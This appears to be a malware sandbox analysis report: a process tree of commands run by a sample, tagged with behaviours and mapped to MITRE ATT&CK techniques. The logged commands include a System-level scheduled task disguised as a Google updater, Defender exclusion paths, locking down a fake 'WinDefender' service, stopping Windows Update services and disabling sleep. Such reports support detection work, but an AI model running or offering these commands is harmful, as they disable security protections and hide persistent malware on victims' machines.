C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:1060

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
1⤵
PID:2448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:1984

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:1272

C:\Windows\system32\taskeng.exe
taskeng.exe {1078B69F-4C5F-4B1D-BE75-C88C0433188E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2208
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  PID:2572

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2896

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-903599532-1422153554-1434912420-18014249961738826420-2067680651-823208929932992346"
1⤵
PID:2408

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
1⤵
- Launches sc.exe
PID:1868

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:1060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2724

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:2916

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:1712

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:1516
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - Executes dropped EXE
  - Creates scheduled task(s)
  PID:2408

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:3068
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2652
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2792

C:\Windows\System32\sc.exe
sc stop dosvc
1⤵
- Launches sc.exe
PID:2676

C:\Windows\System32\sc.exe
sc stop bits
1⤵
- Launches sc.exe
PID:1620

C:\Windows\System32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:2512

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:2668

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1540

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:2332

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry